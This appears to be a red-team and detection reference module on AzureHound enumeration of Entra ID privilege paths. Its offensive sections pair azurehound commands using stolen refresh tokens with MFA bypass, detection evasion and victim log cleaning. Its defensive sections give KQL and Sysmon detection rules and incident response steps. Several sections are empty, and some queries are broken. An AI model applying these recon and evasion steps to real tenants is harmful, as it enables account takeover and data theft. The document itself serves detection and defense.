MCADDF

REC-CLOUD-001: BloodHound for Azure/Entra Privilege Paths

1. MODULE METADATA

Field Value
Module ID REC-CLOUD-001
Technique Name BloodHound for Azure/Entra privilege paths
MITRE ATT&CK ID T1087.004 – Account Discovery: Cloud Account (+ related Cloud Matrix techniques)
CVE N/A (Legitimate penetration testing tool)
Platform Microsoft Entra ID / Azure Cloud
Viability Status ACTIVE ✓
Difficulty to Detect MEDIUM-to-HIGH (depends on logging configuration)
Requires Authentication Yes (compromised credentials or tokens)
Applicable Versions All Azure/Entra ID tenants
Last Verified December 2025
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

BloodHound with AzureHound is a sophisticated cloud reconnaissance and privilege path mapping framework that enables threat actors to systematically enumerate Azure/Entra ID environments and visualize privilege escalation routes. AzureHound, a Go-based data collector in the BloodHound suite, leverages publicly accessible Microsoft Graph and Azure REST APIs to extract comprehensive information about cloud identities, permissions, infrastructure, and applications—then transforms this raw data into interactive attack path graphs through BloodHound’s visualization engine.

Threat Profile: An attacker with compromised cloud credentials or stolen tokens can execute AzureHound to:

Business Impact:


3. TECHNICAL PREREQUISITES

Required Knowledge

Required Tools

System Requirements

Cloud/Environment Considerations


4. ENVIRONMENTAL RECONNAISSANCE

Information Gathering Phase

Before executing AzureHound, establish target scope:

  1. Identify Cloud Environment
    • Confirm Azure commercial, government, or China cloud
    • Identify authentication endpoints (login.microsoftonline.com vs. login.microsoftonline.us)
    • Determine tenant ID or domain names
  2. Credential Acquisition
    • Obtain valid Entra ID user credentials via:
      • Phishing and credential theft
      • Compromised employees
      • Infostealer malware (browser sessions, tokens)
      • Insider threats
    • Identify if user has MFA enabled (bypasses available)
    • Determine user’s permission scope (Reader+ needed for full enum)
  3. Authentication Method Selection
    • Username/password: Simplest; blocked by MFA/CAP
    • Refresh token: Bypass MFA; can authenticate without interactive login
    • JWT/Access token: Fastest; tied to token TTL (typically 1 hour)
    • Service principal: Long-term access; if app has Graph/ARM permissions

Risk Assessment Before Execution


5. DETAILED EXECUTION

Method 1: User Enumeration (Account Discovery T1087.004)

Objective: Extract complete Entra ID user roster for targeting.

# Authenticate with username/password
./azurehound -u "user@contoso.com" -p "Password123!" \
  list users --tenant "contoso.onmicrosoft.com" -o users.json

# Or with refresh token (bypass MFA)
./azurehound -r "0.ARwA6Wg123..." \
  list users --tenant "contoso.onmicrosoft.com" -o users.json

# Or with JWT
./azurehound -j "eyJhbGciOiJSUzI1NiI..." \
  list users --tenant "contoso.onmicrosoft.com" -o users.json

Data Extracted Per User:

Example Processing:

# Extract administrators
jq '.[] | select(.jobTitle | contains("Admin")) | .userPrincipalName' users.json

# Extract mail addresses (phishing targets)
jq '.[] | .mail' users.json > targets.txt

Method 2: Privilege Escalation Path Discovery (Permission Groups T1069.003)

Objective: Map privilege escalation paths to Global Admin.

# Enumerate all Entra ID roles
./azurehound -r "$REFRESH_TOKEN" \
  list roles --tenant "contoso.onmicrosoft.com" -o roles.json

# Enumerate role assignments (who has what admin role)
./azurehound -r "$REFRESH_TOKEN" \
  list role-assignments --tenant "contoso.onmicrosoft.com" -o role-assignments.json

# Enumerate groups and members (nested group escalation)
./azurehound -r "$REFRESH_TOKEN" \
  list groups --tenant "contoso.onmicrosoft.com" -o groups.json

./azurehound -r "$REFRESH_TOKEN" \
  list group-members --tenant "contoso.onmicrosoft.com" -o group-members.json

# Enumerate application role assignments
./azurehound -r "$REFRESH_TOKEN" \
  list app-role-assignments --tenant "contoso.onmicrosoft.com" -o app-roles.json

Privilege Escalation Paths Identified:

  1. Direct role assignment: User → Global Admin role
  2. Nested group inheritance: User → Group → Global Admin group
  3. Service principal delegation: User → SP with RoleManagement.ReadWrite.Directory → assign admin role to another user
  4. App permission escalation: User → App with admin role → act as app to perform admin tasks

Method 3: Infrastructure & Resource Discovery (T1580, T1619, T1526)

Objective: Map cloud resources for lateral movement and data exfiltration.

# Storage accounts (data exfiltration targets)
./azurehound -r "$REFRESH_TOKEN" \
  list storage-accounts --tenant "contoso.onmicrosoft.com" -o storage.json

./azurehound -r "$REFRESH_TOKEN" \
  list storage-containers --tenant "contoso.onmicrosoft.com" -o containers.json

# Key vaults (credential storage)
./azurehound -r "$REFRESH_TOKEN" \
  list key-vaults --tenant "contoso.onmicrosoft.com" -o keyvaults.json

# Key vault access policies (who can access secrets)
./azurehound -r "$REFRESH_TOKEN" \
  list key-vault-access-policies --tenant "contoso.onmicrosoft.com" -o kv-policies.json

# Applications (potential backdoors)
./azurehound -r "$REFRESH_TOKEN" \
  list apps --tenant "contoso.onmicrosoft.com" -o applications.json

# Automation accounts (code execution with high privilege)
./azurehound -r "$REFRESH_TOKEN" \
  list automation-accounts --tenant "contoso.onmicrosoft.com" -o automation.json

# Virtual machines
./azurehound -r "$REFRESH_TOKEN" \
  list virtual-machines --tenant "contoso.onmicrosoft.com" -o vms.json

Data Extracted:


Method 4: BloodHound Visualization & Attack Path Analysis

Objective: Ingest AzureHound JSON data and visualize attack paths.

# Combine all collected data
cat *.json > combined-output.json

# Upload to BloodHound via GUI or API
# BloodHound Web Interface:
# 1. Login to BloodHound (http://localhost:8080)
# 2. Click "Upload Data"
# 3. Select combined-output.json
# 4. Wait for processing (10-30 minutes for large tenant)

# Query attack paths programmatically
# Search: "User1" -> "Global Administrator"
# BloodHound displays:
#   User1 -> (member of) -> Department Admins Group
#   -> (inherited) -> Global Administrator Role

# Identify misconfigured service principals
# Search: ServicePrincipal with "RoleManagement.ReadWrite.Directory" permission
# Escalation path shown: SP can assign admin roles to any user

BloodHound Attack Path Visualization:


Method 5: Complete Tenant Enumeration (All Discovery Techniques)

Objective: Full automated enumeration in single command.

# List all available collection options
./azurehound list -h

# Execute full enumeration
./azurehound -r "$REFRESH_TOKEN" \
  list \
  --tenant "contoso.onmicrosoft.com" \
  --all-users \
  --all-devices \
  --all-groups \
  --all-roles \
  --all-subscriptions \
  --all-resource-groups \
  --all-virtual-machines \
  --all-key-vaults \
  --all-storage-accounts \
  --all-apps \
  -o complete-tenant-dump.json

# Monitor progress (large tenants may take 10-60 minutes)
# Output: JSON containing all organizational structure, identities, permissions

Result: Comprehensive representation of entire Azure/Entra ID environment suitable for offline analysis and visualization.


Method 6: OPSEC-Aware Execution (Evasion Techniques)

Objective: Execute AzureHound while minimizing detection.

# OPSEC Technique 1: Use legitimate-looking refresh token
# Obtain via device code flow (appears as standard user login)
# Less suspicious than raw credential usage

# OPSEC Technique 2: Stagger queries (slower execution, less noisy)
./azurehound -r "$REFRESH_TOKEN" list users ... &
sleep 300  # Wait before next command
./azurehound -r "$REFRESH_TOKEN" list groups ... &

# OPSEC Technique 3: Execute from victim subscription (harder to attribute)
# Create VM in victim's Azure environment, run AzureHound locally
# Use managed identity (no credentials visible)

# OPSEC Technique 4: Filter queries (reduce API call volume)
# Query only specific OUs or groups, not entire tenant
./azurehound -r "$REFRESH_TOKEN" \
  list users --tenant "contoso.onmicrosoft.com" \
  --filter 'displayName eq "John*"' -o filtered.json

# OPSEC Technique 5: Clean logs from victim environment
# Remove AzureHound test calls and enumeration traces
# (if access to victim logs obtained)

6. TOOLS & COMMANDS REFERENCE

AzureHound Command Matrix

Command Purpose API Used Logs Generated
list users Enumerate users Graph Logged (RequestURI=/users)
list groups Enumerate groups Graph Logged
list roles Directory roles Graph Logged
list role-assignments Role assignments Graph Logged
list devices Cloud devices Graph Logged
list service-principals Apps/SPs Graph Logged
list storage-accounts Storage accounts ARM REST NOT logged (logging gap)
list key-vaults Key vaults ARM REST NOT logged
list virtual-machines VMs ARM REST NOT logged
list subscriptions Subscriptions ARM REST NOT logged
list container-registries Container images ARM REST NOT logged
list automation-accounts Automation runbooks ARM REST NOT logged

Authentication Examples

# Device code flow (interactive, bypasses MFA if multi-factor fatigue succeeds)
$body = @{
  "client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
  "resource" = "https://graph.microsoft.com"
}
$response = Invoke-RestMethod -Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" `
  -Method Post -Body $body
# User visits https://microsoft.com/devicelogin and enters code
# Generates refresh token automatically

# Service principal with secret
./azurehound --client-id "application-id" \
  --client-secret "secret-value" \
  --tenant "contoso.onmicrosoft.com" \
  list users -o output.json

# Service principal with certificate
./azurehound --client-id "application-id" \
  --certificate-path "/path/to/cert.pem" \
  --tenant "contoso.onmicrosoft.com" \
  list users -o output.json

7. ATOMIC TESTS (RED TEAM VALIDATION)

Test 1: AzureHound Execution & Authentication

Procedure:

# Test with valid refresh token
./azurehound -r "0.ARwA6Wg..." list users --tenant "contoso.onmicrosoft.com" -o test-users.json

# Verify output
if [ -f "test-users.json" ] && [ $(jq length test-users.json) -gt 0 ]; then
  echo "✓ Test PASSED: AzureHound authenticated and enumerated users"
else
  echo "✗ Test FAILED: No output or authentication failure"
fi

Success Criteria: JSON file generated with 1+ user objects.

Test 2: Global Administrator Detection

Procedure:

# Enumerate roles
./azurehound -r "$REFRESH_TOKEN" list roles -o roles.json

# Search for Global Administrator role
GLOBAL_ADMIN=$(jq '.[] | select(.displayName == "Global Administrator")' roles.json)

if [ ! -z "$GLOBAL_ADMIN" ]; then
  echo "✓ Test PASSED: Global Administrator role found"
else
  echo "✗ Test FAILED: Global Administrator role not accessible"
fi

Success Criteria: Global Administrator role (or equivalent) enumerated.

Test 3: Privilege Escalation Path Visualization

Procedure:

# Import to BloodHound (via GUI or API)
# Query: User -> Global Administrator

# Check if any paths found
PATHS=$(blcli interactive "MATCH (u:User)-[*]->(ga:Group {name: 'Global Administrators'}) RETURN count(u)")

if [ "$PATHS" -gt 0 ]; then
  echo "✓ Test PASSED: Privilege escalation paths identified"
else
  echo "⚠ Test PASSED (Expected): No escalation paths in this tenant"
fi

Success Criteria: Paths identified or confirmed as non-existent.

Test 4: Data Extraction from Storage Accounts

Procedure:

# Enumerate storage accounts
./azurehound -r "$REFRESH_TOKEN" list storage-accounts -o storage.json

# Count storage accounts found
STORAGE_COUNT=$(jq length storage.json)

if [ $STORAGE_COUNT -gt 0 ]; then
  echo "✓ Test PASSED: Found $STORAGE_COUNT storage accounts"
  jq '.[0]' storage.json  # Display first account
else
  echo "⚠ Test PASSED (Expected): No storage accounts or insufficient permissions"
fi

Success Criteria: 0+ storage accounts enumerated (depends on user permissions).


8. MICROSOFT SENTINEL DETECTION

Detection Rule 1: AzureHound Graph API Enumeration Pattern

Rule Configuration:

KQL Query:

let AzureHoundEndpoints = dynamic([
    "https://graph.microsoft.com/v1.0/users",
    "https://graph.microsoft.com/v1.0/groups",
    "https://graph.microsoft.com/v1.0/roles",
    "https://graph.microsoft.com/v1.0/servicePrincipals",
    "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments",
    "https://graph.microsoft.com/v1.0/devices",
    "https://graph.microsoft.com/v1.0/applications",
    "https://graph.microsoft.com/beta/groups",
    "https://graph.microsoft.com/beta/servicePrincipals",
    "https://graph.microsoft.com/beta/roleManagement/directory/estimateAccess"
]);

MicrosoftGraphActivityLogs
| where TimeGenerated > ago(1h)
| where ResponseStatusCode == 200
| extend NormalizedUri = replace_regex(RequestUri, @'\b[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\b', @'<UUID>')
| extend NormalizedUri = replace_regex(NormalizedUri, @'\?.*$', @'')
| where NormalizedUri in (AzureHoundEndpoints)
| summarize
    CallCount = count(),
    UniqueEndpoints = dcount(NormalizedUri),
    FirstCall = min(TimeGenerated),
    LastCall = max(TimeGenerated),
    UserAgents = make_set(UserAgent, 10)
    by UserId, IPAddress, bin(TimeGenerated, 5m)
| where CallCount > 50  // Threshold: 50+ API calls in 5 minutes
| extend AlertSeverity = "High", TechniqueID = "T1087.004"
| project UserId, IPAddress, CallCount, UniqueEndpoints, FirstCall, LastCall, UserAgents, AlertSeverity, TechniqueID

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Azure PortalMicrosoft Sentinel
  2. Select workspace → Analytics+ CreateScheduled query rule
  3. General Tab:
    • Name: AzureHound Graph API Enumeration Pattern
    • Severity: High
  4. Set rule logic Tab:
    • Paste KQL query above
    • Run every: 5 minutes
    • Lookup data from last: 1 hour
  5. Incident settings:
    • Enable Create incidents
    • Group by: User, IP address
  6. Click Review + create

Detection Rule 2: AzureHound User-Agent Detection

Rule Configuration:

KQL Query:

MicrosoftGraphActivityLogs
| where TimeGenerated > ago(1h)
| where UserAgent contains "azurehound" or UserAgent contains "sharphound" or UserAgent contains "bloodhound"
| project TimeGenerated, UserId, UserPrincipalName, IPAddress, RequestUri, UserAgent, ResponseStatusCode
| extend AlertSeverity = "High", TechniqueID = "T1087.004"

What This Detects:


9. WINDOWS EVENT LOG MONITORING

Note: AzureHound executes externally; local Windows Event Logs do NOT capture activity. Monitor on:

  1. Entra ID Sign-in Logs (Azure Portal)
    • Filter for non-interactive sign-ins
    • Search for UserAgent “azurehound”
    • Look for MFA bypass patterns
  2. Entra ID Audit Logs (Azure Portal)
    • Changes to roles (adds to admin groups)
    • Service principal modifications
    • Application registrations
  3. Azure Activity Logs (Control Plane events)
    • Resource creation/deletion
    • Policy changes
    • Does NOT capture read operations (logging gap)

10. SYSMON DETECTION PATTERNS

Sysmon can detect local AzureHound execution:

<Sysmon schemaversion="4.30">
  <EventFiltering>
    <!-- Detect AzureHound process execution -->
    <ProcessCreate onmatch="include">
      <CommandLine condition="contains">azurehound</CommandLine>
      <CommandLine condition="contains">list users</CommandLine>
      <CommandLine condition="contains">list groups</CommandLine>
      <CommandLine condition="contains">list roles</CommandLine>
    </ProcessCreate>
    
    <!-- Detect network connections to Microsoft Graph API -->
    <NetworkConnect onmatch="include">
      <DestinationHostname condition="contains">graph.microsoft.com</DestinationHostname>
      <DestinationHostname condition="contains">management.azure.com</DestinationHostname>
      <DestinationHostname condition="contains">login.microsoftonline.com</DestinationHostname>
      <DestinationPort>443</DestinationPort>
    </NetworkConnect>
    
    <!-- Detect BloodHound execution (Java + Neo4j) -->
    <ProcessCreate onmatch="include">
      <CommandLine condition="contains">bloodhound</CommandLine>
      <CommandLine condition="contains">neo4j</CommandLine>
    </ProcessCreate>
  </EventFiltering>
</Sysmon>

Installation:

sysmon64.exe -accepteula -i sysmon-config.xml

11. MICROSOFT DEFENDER FOR IDENTITY

Alert Name: “Reconnaissance activities detected via AzureHound enumeration”

Configuration:

  1. Azure PortalMicrosoft Defender for Cloud
  2. Environment settings → Select domain
  3. Ensure Defender for Identity status = ON
  4. Go to Alerts → Search for “enumeration” or “reconnaissance”

12. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

Query: Monitor for role assignments and app consent changes (follow-on activities after AzureHound reconnaissance).

Search-UnifiedAuditLog -Operations "Add Member to Group", "Add Role" `
  -StartDate (Get-Date).AddDays(-1) `
  -EndDate (Get-Date) | Where-Object {
    $_.AuditData -match "Global Administrator" -or 
    $_.AuditData -match "Privileged Role Administrator"
  }

13. FALSE POSITIVE ANALYSIS

Legitimate Activity Mimicking AzureHound

Activity Appears As Legitimate Reason Distinguish By
Compliance auditing tools User/group enumeration Security audit, SOC2 compliance Scheduled jobs, expected service accounts
Azure AD reporting Role enumeration Access reviews, license reporting Low frequency, known tools (PowerShell modules)
Identity governance solutions Permission mapping Delinea, Okta, access control sync Expected tool binaries, service account context
Helpdesk automation User lookups Ticket system integration Limited scope queries, specific user filters
EDR/MDR tools Bulk enumeration Threat detection, baseline building Whitelisted agents, internal IP ranges

Tuning:

// Exclude known legitimate sources
let WhitelistedAccounts = dynamic(["svc_audit@contoso.com", "svc_identity@contoso.com"]);
let WhitelistedIPs = dynamic(["10.0.0.0/8"]);

MicrosoftGraphActivityLogs
| where !UserId in (WhitelistedAccounts)
| where !IPAddress startswith "10.0.0"
| where CallCount > 50
// ... rest of detection logic

14. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH


15. DETECTION & INCIDENT RESPONSE

Forensic Artifact Collection

If AzureHound reconnaissance is suspected:

  1. Collect Microsoft Graph Activity Logs
    # Query Sentinel/Log Analytics
    MicrosoftGraphActivityLogs
    | where TimeGenerated > ago(7d)
    | where UserAgent contains "azurehound" or 
            RequestUri contains "/users" and CallCount > 100
    | export to CSV
    
  2. Collect Entra ID Sign-in Logs
    # Non-interactive sign-ins (token-based)
    Get-MgAuditLogSignIn -Filter "authenticationDetails/any(x:x/succeeded eq true)" `
      -Properties userPrincipalName,ipAddress,clientAppUsed,authenticationDetails | Export-Csv
    
  3. Identify Source Account
    # Who accessed Graph API for enumeration?
    $SourceUser = (MicrosoftGraphActivityLogs 
      | where RequestUri contains "/users" 
      | where CallCount > 100).UserId
    

Incident Response Steps

  1. Verify Reconnaissance Occurred
    • Confirm AzureHound API calls in Graph activity logs
    • Identify source user/service principal
    • Determine scope of enumeration (which endpoints queried)
  2. Identify Attack Scope
    • Which data was enumerated (users, groups, roles, storage, etc.)
    • Which privilege escalation paths exist
    • Estimate attacker’s knowledge of tenant structure
  3. Investigate Follow-On Attacks
    • Check for role assignments to new/compromised users (post-AzureHound)
    • Monitor for service principal creation with high permissions
    • Review storage account access logs (may indicate data exfiltration)
    • Check for new app registrations or consents
  4. Containment
    • Force password reset for compromised user account
    • Revoke refresh tokens:
      Revoke-AzureADUserAllRefreshToken -ObjectId "<UserObjectId>"
      
    • Revoke service principal credentials if compromised
    • Enable MFA enforcement via Conditional Access
  5. Eradication
    • Delete any unauthorized service principals created post-compromise
    • Remove unauthorized role assignments
    • Disable or delete compromised user accounts
    • Apply conditional access blocks to attacker IP

T1087.004 Relationship to Other MITRE Cloud Techniques

Preceding Current Following
T1078 (Valid Accounts) T1087.004 (Account Discovery: Cloud) T1087.002 (on-prem account discovery)
T1586 (Compromise Accounts) T1069.003 (Permission Groups: Cloud)
T1111 (Multi-Factor Auth Interception) T1098.003 (Account Manipulation: Cloud)
    T1110 (Brute Force - informed targeting)
    T1526 (Cloud Service Discovery)
    T1580 (Cloud Infrastructure Discovery)

Real-World Kill Chain

Phase 1: Credential Compromise
├─ Phishing email with malicious link/attachment
├─ Employee clicks → browser session token stolen (infostealer)
└─ Token stored in browser cache (accessible to attacker)

Phase 2: Cloud Reconnaissance (T1087.004 - AzureHound)
├─ Attacker extracts refresh token from infostealer output
├─ Runs: azurehound list users --tenant contoso.com
├─ Discovers: 500+ users, 100+ admin role members
├─ Maps privilege escalation: User → Group → Global Admin
└─ Identifies: Automation account with runbook execution

Phase 3: Privilege Escalation
├─ BloodHound visualization shows: 
│   User has permissions to modify Service Principal
│   Service Principal has RoleManagement.ReadWrite.Directory
├─ Escalation path: Compromise user → Change SP secret → Assign admin role
└─ Result: Global Administrator access obtained

Phase 4: Persistence & Exfiltration
├─ Create new global admin account (backdoor)
├─ Disable MFA temporarily
├─ Dump NTDS.dit equivalent (Graph Export)
├─ Access Key Vault secrets
└─ Export sensitive data from Storage accounts

Phase 5: Lateral Movement
├─ Use admin access to connect to on-premises AD (if hybrid)
├─ Execute commands via Automation account runbooks
├─ Pivot to business applications (Dynamics, Exchange, Teams)
└─ Establish long-term persistence across hybrid environment

17. REAL-WORLD EXAMPLES

Example 1: Curious Serpens (Peach Sandstorm) – 2025 Campaign

Campaign Context:

Execution:

  1. Initial compromise via spear-phishing
  2. Stole Entra ID credentials from employee browser
  3. Ran AzureHound to enumerate: 5,000+ users, 50+ admin accounts, storage accounts with customer data
  4. Visualized attack paths in BloodHound → identified nested group escalation to Global Admin
  5. Compromised service principal with RoleManagement permissions
  6. Escalated to Global Admin, created backdoor account
  7. Exfiltrated customer encryption keys from Key Vault

Detection Opportunities:

Response:


Example 2: Void Blizzard – May 2025 Campaign

Campaign Context:

Execution:

  1. Compromised Entra ID credentials of contractor with “Application Developer” role
  2. Contractor’s account had permissions to read application registrations
  3. Ran AzureHound to enumerate apps, roles, key vaults
  4. Identified apps with sensitive API permissions (SharePoint, Teams, Exchange)
  5. Registered malicious app with same permissions as legitimate app
  6. Used app token to access SharePoint & Teams data
  7. Exfiltrated 18 months of confidential emails, architectural docs, strategy docs

Detection Opportunities:

Prevention/Response:


18. COMPLIANCE & STANDARDS MAPPING

Standard Requirement Mapping
CIS Controls v8 CIS 6.1 (Account Management), CIS 3.2 (Logging) Restrict cloud enumeration access; enable API logging
DISA STIG Cloud security hardening Implement MFA, CAP, disable legacy auth
NIST 800-53 AC-2 (Account Management), SI-4 (Monitoring), AU-12 (Audit Log Generation) Log cloud API activity; monitor for anomalies; implement strong identity controls
GDPR Article 32 (Security Measures), Article 33 (Breach Notification) Detect unauthorized access to identity data; implement incident response
DORA Digital Operational Resilience Monitor cloud identity service security; maintain incident response capability
NIS2 Detection Capabilities Establish baseline for normal API traffic; alert on deviations
ISO 27001:2022 5.2 (Information Security Policies), 8.2 (Access Control), 8.15 (Logging) Implement access controls for cloud identity; enable comprehensive audit trails

19. APPENDIX: ATOMIC RED TEAM INTEGRATION

Atomic Test Reference

Example Atomic Test

- name: Enumerate Entra ID Users with AzureHound
  description: Use AzureHound to list all Entra ID users
  supported_platforms:
    - windows
    - macos
    - linux
  input_arguments:
    refresh_token:
      description: Entra ID refresh token
      type: string
      default: "0.ARwA6Wg123..."
    tenant:
      description: Entra ID tenant name
      type: string
      default: "contoso.onmicrosoft.com"
  executor:
    name: bash
    elevation_required: false
    command: |
      ./azurehound -r "#{refresh_token}" list users --tenant "#{tenant}" -o users.json
      echo "Enumerated $(jq length users.json) users"

20. REFERENCES & ATTRIBUTION

  1. MITRE ATT&CK Cloud Matrix:
    • T1087.004 – Account Discovery: Cloud Account: https://attack.mitre.org/techniques/T1087/004/
    • T1069.003 – Permission Groups Discovery: Cloud Groups: https://attack.mitre.org/techniques/T1069/003/
    • T1526 – Cloud Service Discovery: https://attack.mitre.org/techniques/T1526/
    • T1580 – Cloud Infrastructure Discovery: https://attack.mitre.org/techniques/T1580/
    • T1619 – Cloud Storage Object Discovery: https://attack.mitre.org/techniques/T1619/
  2. BloodHound & AzureHound:
    • SpecterOps BloodHound: https://github.com/SpecterOps/BloodHound
    • AzureHound Community Edition: https://github.com/SpecterOps/AzureHound
    • BloodHound Docs: https://bloodhound.readthedocs.io/
  3. Threat Intelligence & Detection:
    • Palo Alto Unit 42: Cloud Discovery With AzureHound (November 2025)
    • Microsoft Threat Intelligence: Curious Serpens, Void Blizzard, Storm-0501 reports
    • CloudBrothers: Detect threats using GraphAPIAuditEvents (August 2025)
  4. Microsoft Documentation:
    • Microsoft Graph Activity Logs: https://learn.microsoft.com/en-us/graph/microsoft-graph-activity-logs-overview
    • Entra ID Authentication: https://learn.microsoft.com/en-us/entra/identity/authentication/
    • Azure RBAC: https://learn.microsoft.com/en-us/azure/role-based-access-control/